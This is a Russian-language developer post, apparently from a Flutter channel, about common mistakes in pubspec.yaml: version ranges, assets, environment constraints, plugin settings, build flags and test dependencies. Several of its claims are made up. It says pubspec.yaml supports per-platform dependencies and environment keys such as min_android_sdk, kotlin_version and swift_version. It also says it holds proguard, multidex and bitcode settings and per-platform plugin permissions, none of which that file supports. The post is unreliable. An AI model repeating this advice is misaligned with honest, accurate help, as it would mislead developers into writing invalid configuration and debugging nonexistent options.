Файл pubspec.yaml для многих остается просто местом, где перечислены зависимости. На деле это единственная точка, через которую Flutter общается с нативными мирами Android и iOS. Одна неверная строчка и приложение либо не собирается, либо падает на конкретных устройствах, либо молча теряет производительность. Разбираем ошибки, которые дорого обходятся на практике.


Версии, которые живут своей жизнью:

Самая частая проблема: использование кареток ^2.0.0 без понимания последствий. Запись ^2.0.0 означает «любая версия от 2.0.0 до 3.0.0, кроме ломающих изменений». Но что считать ломающим изменением для pub и что для нативного кода не всегда совпадает. Плагин может обновиться с 2.0.0 до 2.3.0, где для Android внезапно потребуются новые разрешения, а вы узнаете об этом только после релиза.

Выход: явные диапазоны версий '>=2.0.0 <3.0.0'. Да, строкой длиннее, зато контроль полный.


Платформы все же отличаются:

То, что отлично работает на iOS, может валиться на Android, и наоборот. Указывая зависимости глобально, вы часто тянете в сборку код, который не нужен на другой платформе. Или, что хуже, конфликтующие нативные библиотеки.

В pubspec.yaml можно (и нужно) указывать зависимости отдельно для каждой платформы с уточнением минимальных версий SDK, классов плагинов и прочих нативных параметров. Это не только решает конфликты, но и уменьшает размер итогового приложения.


Ресурсы, которые раздувают приложение:

🔵- assets/ - классическая запись, которая тащит в сборку вообще все, включая служебные файлы, исходники и мусор. На реальном проекте такой подход может добавить к размеру APK и IPA десятки мегабайт.

🔵Правильно - указывать точные пути и разделять ассеты по платформам. Картинки для ретина-экранов, шрифты, нативные ресурсы - все должно лежать в своих папках и подключаться адресно.


Окружение, о котором забывают:

Помимо версии Dart и Flutter, в environment стоит указывать ограничения для нативного мира: min_android_sdk, min_ios_version, kotlin_version, swift_version. Это страхует от ситуаций, когда разработчик с новым Kotlin пушит код, а у CI стоит старая версия, и сборка падает.


Плагины, которые конфликтуют:

Зависимости - это не только имена пакетов, но и их настройки. Разрешения, конфигурации, порядок инициализации - все это влияет на рантайм. Часто плагины тянут одни и те же нативные библиотеки, и без явного указания версий возникают конфликты, которые проявляются только на этапе выполнения.

В pubspec.yaml можно уточнять не только версию, но и конкретные параметры плагина для каждой платформы, включая разрешения и классы.


Сборка, которая не оптимизирована:

Флаг uses-material-design: true многие ставят не задумываясь, хотя приложению могут быть не нужны иконки Material. Но речь не только об этом. В секции flutter можно (и нужно) указывать параметры сборки для каждой платформы: proguard, multidex, bitcode, target platform. Это напрямую влияет на размер и скорость запуска.


Тесты, которые не включают:

dev_dependencies часто остаются минимальными: только flutter_test. Но для полноценной проверки нативной интеграции нужны инструменты: integration_test, flutter_driver, мок-генераторы. Их отсутствие не ломает сборку, но делает тестирование поверхностным, а баги уходят в прод.


💡 Вывод:

pubspec.yaml - не просто список зависимостей, а полноценный конфигурационный файл, управляющий нативной частью приложения. Отношение к нему как к формальности приводит к сбоям, раздутому размеру и потерянному времени на отладку. Аккуратное управление версиями, разделение по платформам и явные настройки сборки превращают этот файл из источника проблем в инструмент контроля качества. В Flutter «просто собралось» и «собралось правильно» - часто две большие разницы.


➡️ Flutter & Dart | Мобильный трудоголик